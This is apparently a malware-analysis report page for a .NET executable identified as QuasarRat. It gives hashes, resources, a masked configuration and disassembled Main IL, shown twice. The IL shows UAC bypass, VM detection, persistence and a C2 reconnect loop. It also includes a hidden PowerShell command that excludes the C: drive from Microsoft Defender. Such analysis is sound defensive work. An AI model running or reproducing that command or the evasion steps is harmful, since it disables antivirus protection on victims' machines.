Malicious
Malicious

020c0693079250790e888666c1f6b4a3

PE Executable
MD5: 020c0693079250790e888666c1f6b4a3
Size: 18.12 MB
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
HTML file
Size
18.12 MB · 18,124,288 B
First seen
2026-08-26 15:15 · 2 months ago
Last seen
2026-08-26 15:15 · 2 months ago
Last analysis
2026-08-26 15:16 · 2 months ago
Hashes
MD5 020c0693079250790e888666c1f6b4a3 Sha1 dc14584cedf6b41c91cd1bdf2c485b041d6291c9 Sha256 cf4cf398408dd57bb8c8b4cb0a320a6ccad46600fbd5e3a8e95a6a1d8636c833 Sha384 4f955bb14ae00c3e3156eb3b807a92169a968aeab2072158eeffbd6a75ad562d4c3894192631ac72ceeeba0cb112f93e Sha512 1bd656a13978c77dce2568a96123dee6c12a9dfb9594858656b98bde3b97288f705deb39239586c6628b61621201c0a58d5865e627dc01f93862b412a0746a9a SSDeep 196608:om0UXXvK6QqOyjr2LF3Ye6YmnwqdU142Uajjzy8DU:RXXvK1cjSLFoBYmn5U1PVTD TLSH 7F07AF02ABE88F2AD0BF47B1A47150145BF1E8966756DA49358CF1BA3B237007B1637F
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NET
Symbol obfuscation
Low
1 malicious · 84 files
EXE020c0693079250790e888666c1f6b4a3QuasarRat
Structure
BINResources
BINRT_VERSION
BINID:0001
BINID:0
BINRT_MANIFEST
BINID:0001
BINID:0
BIN.Net Resources
BINClient.Form1.resources
ICON$this.Icon
BIN[NBF]root.IconData
BINClient.Form2.resources
ICON$this.Icon
BIN[NBF]root.IconData
BINClient.Form3.resources
BINimageList1.ImageStream
DATA[NBF]root.Data
BINClient.Properties.Resources.resources
BINToggleWallpaper
IMG[NBF]root.Data
IMG[NBF]root.Data-preview.png
BINscreamerwow
IMG[NBF]root.Data
BINvideo
BINAForge.Video.DirectShow.Properties.Resources.resources
BINcamera
IMG[NBF]root.Data
IMG[NBF]root.Data-preview.png
BINAForge.Video.DirectShow.VideoCaptureDeviceForm.resources
BINSystem.Data.Entity.Properties.Resources.resources
XSDSystem.Data.Resources.AnnotationSchema.xsd
XSDSystem.Data.Resources.CodeGenerationSchema.xsd
XSDSystem.Data.Resources.CSDLSchema_1.xsd
XSDSystem.Data.Resources.CSDLSchema_1_1.xsd
XSDSystem.Data.Resources.CSDLSchema_2.xsd
XSDSystem.Data.Resources.CSDLSchema_3.xsd
XSDSystem.Data.Resources.EntityStoreSchemaGenerator.xsd
XSDSystem.Data.Resources.SSDLSchema.xsd
XSDSystem.Data.Resources.SSDLSchema_2.xsd
XSDSystem.Data.Resources.SSDLSchema_3.xsd
XSDSystem.Data.Resources.CSMSL_1.xsd
XSDSystem.Data.Resources.CSMSL_2.xsd
XSDSystem.Data.Resources.CSMSL_3.xsd
XSDSystem.Data.Resources.ProviderServices.ProviderManifest.xsd
CSDLSystem.Data.Resources.DbProviderServices.ConceptualSchemaDefinition.csdl
CSDLSystem.Data.Resources.DbProviderServices.ConceptualSchemaDefinitionVersion3.csdl
BINSystem.Data.Entity.SqlServer.Properties.Resources.SqlServer.resources
SSDLSystem.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaDefinition.ssdl
SSDLSystem.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaDefinitionVersion3.ssdl
SSDLSystem.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaDefinitionVersion3_Sql8.ssdl
SSDLSystem.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaDefinition_Sql8.ssdl
MSLSystem.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaMapping.msl
MSLSystem.Data.Resources.SqlClient.SqlProviderServices.StoreSchemaMappingVersion3.msl
XMLSystem.Data.Resources.SqlClient.SqlProviderServices.ProviderManifest.xml
BINFxResources.Microsoft.Win32.Registry.SR.resources
BINNAudio.WinForms.Gui.Fader.resources
BINNAudio.WinForms.Gui.PanSlider.resources
BIN$this.DefaultModifiers
BIN$this.GridSize
BIN$this.Language
BINNAudio.WinForms.Gui.VolumeSlider.resources
BINFxResources.System.Buffers.SR.resources
BINSystem.Data.SQLite.SR.resources
BINsds-see-ekm.eeagle
BINsds-see-ekm.eeagle.b64sig
BMPSystem.Data.SQLite.Resources.SQLiteCommand.bmp
BMPSystem.Data.SQLite.Resources.SQLiteConnection.bmp
BMPSystem.Data.SQLite.Resources.SQLiteDataAdapter.bmp
BINSystem.Data.SQLite.Properties.resources
SSDLSystem.Data.SQLite.SQLiteProviderServices.StoreSchemaDefinition.ssdl
CSDLSystem.Data.SQLite.Common.ConceptualSchemaDefinition.csdl
XMLSystem.Data.SQLite.SQLiteProviderServices.ProviderManifest.xml
MSLSystem.Data.SQLite.SQLiteProviderServices.StoreSchemaMapping.msl
BINFxResources.System.IO.Pipelines.SR.resources
XMLILLink.Substitutions.xml
BINFxResources.System.Memory.SR.resources
BINFxResources.System.Numerics.Vectors.SR.resources
BINFxResources.System.Security.AccessControl.SR.resources
XMLSystem.Security.Principal.Windows.xml
BINFxResources.System.Text.Encodings.Web.SR.resources
BINFxResources.System.Text.Json.SR.resources
BINFxResources.System.ValueTuple.SR.resources
BINSystem.Web.Helpers.Resources.HelpersResources.resources
BINSystem.Web.Mvc.Properties.MvcResources.resources
BINSystem.Web.Razor.Common.CommonResources.resources
BINSystem.Web.Razor.Resources.RazorResources.resources
BINSystem.Web.WebPages.Deployment.Resources.ConfigurationResources.resources
BINSystem.Web.WebPages.Resources.WebPageResources.resources
BINSystem.Web.WebPages.Razor.Resources.RazorWebResources.resources
STICH beta Structural Threat Infection Chain Hash

A content-independent fingerprint of the infection method: successive formats, internal objects and MITRE techniques from the initial file to each final payload.

STICH Path = the fingerprint (canonical chain with techniques) STICH Shape = structure only Only determinant branches produce STICH Paths.
3 / 3
Path pe:exe>pe:rsrc>bin
Shape pe:exe>pe:rsrc>bin
malicious 3 nodes
Path pe:exe>bin
Shape pe:exe>bin
malicious 2 nodes
Config. Field Value
Conf. AES-Salt BF-EB-huhuhuhuhuhuhuhuhuhuhu
Conf. AES-Key
Version Objehuhuhuhu
Port Chainhuhuhuhuhuhuhu
Host Chainhuhuhuhuhuhuhu
ReconnectDelay Authhuhuhuhuhuhuhu
Key Chaihuhuhuhu
SubDirectory Keyhuhuhuhu
InstallName Ahuhuhuhu
Install Microshuhuhuhuhuhuhuhuhuhuhu
Startup 1huhuhuhu
Mutex 1huhuhuhu
StartupKey -10huhuhuhu
HideFile 2huhuhuhu
EnableLogger Monohuhuhuhu
EncryptionKey Systhuhuhuhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
Template.exe
Full Name
Template.exe
EntryPoint
System.Void Client.Program::Main()
Scope Name
Template.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Template
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
27127
Main Method
System.Void Client.Program::Main()
Main IL Instruction Count
157
Main IL 
ldsfld System.Boolean Client.Things.Config::HideFile
brfalse IL_0025: ldsfld System.Boolean Client.Things.Config::UACBy
call System.Void Client.Configuration.HideClient::Execute()
leave IL_0025: ldsfld System.Boolean Client.Things.Config::UACBy
stloc.0 <null>
ldloc.0 <null>
callvirt System.String System.Exception::get_Message()
call System.Void System.Console::WriteLine(System.String)
leave IL_0025: ldsfld System.Boolean Client.Things.Config::UACBy
ldsfld System.Boolean Client.Things.Config::UACBy
brfalse IL_0034: ldsfld System.Int32 Client.Things.Config::Delay
call System.Void Client.Configuration.UACBypass::BypassUAC()
ldsfld System.Int32 Client.Things.Config::Delay
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
ldc.i4.0 <null>
call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean)
call System.Boolean Client.Things.MutexControl::CreateMutex()
brtrue IL_005F: ldsfld System.Boolean Client.Things.Config::VM
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.Boolean Client.Things.Config::VM
brfalse IL_006E: ldsfld System.Boolean Client.Things.Config::UAC
call System.Void VMCheck::Analyze()
ldsfld System.Boolean Client.Things.Config::UAC
brfalse IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
call System.Boolean Client.Program::checking()
brtrue IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
stloc.1 <null>
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
pop <null>
ldstr Continue
call System.Void System.Console::WriteLine(System.String)
leave IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
ldsfld System.Boolean Client.Things.Config::HidProc
brfalse IL_00DC: ldsfld System.Boolean Client.Things.Config::OpenWebsite
newobj System.Void ProcessKiller::.ctor()
pop <null>
ldsfld System.Boolean Client.Things.Config::OpenWebsite
brfalse IL_00F1: ldsfld System.Action Client.Program/<>c::<>9__0_0
ldsfld System.String Client.Things.Config::Website
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldsfld System.Action Client.Program/<>c::<>9__0_0
dup <null>
brtrue IL_0113: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__0_0()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Client.Program/<>c::<>9__0_0
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld System.Boolean Client.Things.Config::Startup
brfalse IL_014B: ldsfld System.Boolean Client.Things.Config::Assist
ldsfld System.Func`1<System.Threading.Tasks.Task> Client.Program/<>c::<>9__0_1
dup <null>
brtrue IL_0145: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Threading.Tasks.Task Client.Program/<>c::<Main>b__0_1()
newobj System.Void System.Func`1<System.Threading.Tasks.Task>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`1<System.Threading.Tasks.Task> Client.Program/<>c::<>9__0_1
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
ldsfld System.Boolean Client.Things.Config::Assist
brfalse IL_018C: ldsfld System.Action Client.Program/<>c::<>9__0_3
ldsfld System.Action Client.Program/<>c::<>9__0_2
dup <null>
brtrue IL_0177: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__0_2()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Client.Program/<>c::<>9__0_2
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
newobj System.Void Client.Form1::.ctor()
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.Form)
br IL_01BE: ldsfld System.Boolean Client.Things.Config::ProcessCritical
ldsfld System.Action Client.Program/<>c::<>9__0_3
dup <null>
brtrue IL_01AE: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__0_3()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Client.Program/<>c::<>9__0_3
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
newobj System.Void System.Windows.Forms.ApplicationContext::.ctor()
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.ApplicationContext)
ldsfld System.Boolean Client.Things.Config::ProcessCritical
brfalse IL_01CD: ldsfld System.Boolean Client.Things.Config::Defender
call System.Void Client.Configuration.processcritical::critical()
ldsfld System.Boolean Client.Things.Config::Defender
brfalse IL_0228: nop
call System.Boolean Client.Defs.Check::Admin()
brfalse IL_0228: nop
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldstr cmd.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldstr /c powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
stloc.2 <null>
ldloc.2 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave IL_0228: nop
pop <null>
leave IL_0228: nop
nop <null>
call System.Boolean Client.Connection.SillyClient::isConnected()
brtrue IL_023D: leave IL_0248
call System.Void Client.Connection.SillyClient::Reconnect()
call System.Void Client.Connection.SillyClient::Connect()
leave IL_0248: ldsfld System.Int32 Client.Things.Config::Delay
pop <null>
leave IL_0248: ldsfld System.Int32 Client.Things.Config::Delay
ldsfld System.Int32 Client.Things.Config::Delay
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_0228: nop
Module Name
Template.exe
Full Name
Template.exe
EntryPoint
System.Void Client.Program::Main()
Scope Name
Template.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Template
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
27127
Main Method
System.Void Client.Program::Main()
Main IL Instruction Count
157
Main IL 
ldsfld System.Boolean Client.Things.Config::HideFile
brfalse IL_0025: ldsfld System.Boolean Client.Things.Config::UACBy
call System.Void Client.Configuration.HideClient::Execute()
leave IL_0025: ldsfld System.Boolean Client.Things.Config::UACBy
stloc.0 <null>
ldloc.0 <null>
callvirt System.String System.Exception::get_Message()
call System.Void System.Console::WriteLine(System.String)
leave IL_0025: ldsfld System.Boolean Client.Things.Config::UACBy
ldsfld System.Boolean Client.Things.Config::UACBy
brfalse IL_0034: ldsfld System.Int32 Client.Things.Config::Delay
call System.Void Client.Configuration.UACBypass::BypassUAC()
ldsfld System.Int32 Client.Things.Config::Delay
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
ldc.i4.0 <null>
call System.Void System.Windows.Forms.Application::SetCompatibleTextRenderingDefault(System.Boolean)
call System.Boolean Client.Things.MutexControl::CreateMutex()
brtrue IL_005F: ldsfld System.Boolean Client.Things.Config::VM
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
ldsfld System.Boolean Client.Things.Config::VM
brfalse IL_006E: ldsfld System.Boolean Client.Things.Config::UAC
call System.Void VMCheck::Analyze()
ldsfld System.Boolean Client.Things.Config::UAC
brfalse IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
call System.Boolean Client.Program::checking()
brtrue IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
stloc.1 <null>
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
pop <null>
ldstr Continue
call System.Void System.Console::WriteLine(System.String)
leave IL_00CC: ldsfld System.Boolean Client.Things.Config::HidProc
ldsfld System.Boolean Client.Things.Config::HidProc
brfalse IL_00DC: ldsfld System.Boolean Client.Things.Config::OpenWebsite
newobj System.Void ProcessKiller::.ctor()
pop <null>
ldsfld System.Boolean Client.Things.Config::OpenWebsite
brfalse IL_00F1: ldsfld System.Action Client.Program/<>c::<>9__0_0
ldsfld System.String Client.Things.Config::Website
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String)
pop <null>
ldsfld System.Action Client.Program/<>c::<>9__0_0
dup <null>
brtrue IL_0113: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__0_0()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Client.Program/<>c::<>9__0_0
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld System.Boolean Client.Things.Config::Startup
brfalse IL_014B: ldsfld System.Boolean Client.Things.Config::Assist
ldsfld System.Func`1<System.Threading.Tasks.Task> Client.Program/<>c::<>9__0_1
dup <null>
brtrue IL_0145: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Threading.Tasks.Task Client.Program/<>c::<Main>b__0_1()
newobj System.Void System.Func`1<System.Threading.Tasks.Task>::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Func`1<System.Threading.Tasks.Task> Client.Program/<>c::<>9__0_1
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Func`1<System.Threading.Tasks.Task>)
pop <null>
ldsfld System.Boolean Client.Things.Config::Assist
brfalse IL_018C: ldsfld System.Action Client.Program/<>c::<>9__0_3
ldsfld System.Action Client.Program/<>c::<>9__0_2
dup <null>
brtrue IL_0177: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__0_2()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Client.Program/<>c::<>9__0_2
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
newobj System.Void Client.Form1::.ctor()
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.Form)
br IL_01BE: ldsfld System.Boolean Client.Things.Config::ProcessCritical
ldsfld System.Action Client.Program/<>c::<>9__0_3
dup <null>
brtrue IL_01AE: call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__0_3()
newobj System.Void System.Action::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Action Client.Program/<>c::<>9__0_3
call System.Threading.Tasks.Task System.Threading.Tasks.Task::Run(System.Action)
pop <null>
newobj System.Void System.Windows.Forms.ApplicationContext::.ctor()
call System.Void System.Windows.Forms.Application::Run(System.Windows.Forms.ApplicationContext)
ldsfld System.Boolean Client.Things.Config::ProcessCritical
brfalse IL_01CD: ldsfld System.Boolean Client.Things.Config::Defender
call System.Void Client.Configuration.processcritical::critical()
ldsfld System.Boolean Client.Things.Config::Defender
brfalse IL_0228: nop
call System.Boolean Client.Defs.Check::Admin()
brfalse IL_0228: nop
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldstr cmd.exe
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldstr /c powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:"
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
stloc.2 <null>
ldloc.2 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave IL_0228: nop
pop <null>
leave IL_0228: nop
nop <null>
call System.Boolean Client.Connection.SillyClient::isConnected()
brtrue IL_023D: leave IL_0248
call System.Void Client.Connection.SillyClient::Reconnect()
call System.Void Client.Connection.SillyClient::Connect()
leave IL_0248: ldsfld System.Int32 Client.Things.Config::Delay
pop <null>
leave IL_0248: ldsfld System.Int32 Client.Things.Config::Delay
ldsfld System.Int32 Client.Things.Config::Delay
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_0228: nop
CnC CNCmalicious
Chainhuhuhuhuhuhuhu
Port PORTmalicious
Chainhuhuhuhuhuhuhu
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
1 malicious · 84 files
EXE020c0693079250790e888666c1f6b4a3QuasarRat
Structure
Config. Field Value
Conf. AES-Salt BF-EB-huhuhuhuhuhuhuhuhuhuhu
Conf. AES-Key
Version Objehuhuhuhu
Port Chainhuhuhuhuhuhuhu
Host Chainhuhuhuhuhuhuhu
ReconnectDelay Authhuhuhuhuhuhuhu
Key Chaihuhuhuhu
SubDirectory Keyhuhuhuhu
InstallName Ahuhuhuhu
Install Microshuhuhuhuhuhuhuhuhuhuhu
Startup 1huhuhuhu
Mutex 1huhuhuhu
StartupKey -10huhuhuhu
HideFile 2huhuhuhu
EnableLogger Monohuhuhuhu
EncryptionKey Systhuhuhuhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
CnC CNCmalicious
Chainhuhuhuhuhuhuhu
020c0693079250790e888666c1f6b4a3
Port PORTmalicious
Chainhuhuhuhuhuhuhu
020c0693079250790e888666c1f6b4a3
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
Sign in or create a free account to view the matching YARA rules. Create a free account
An error has occurred. This application may no longer respond until reloaded. Reload 🗙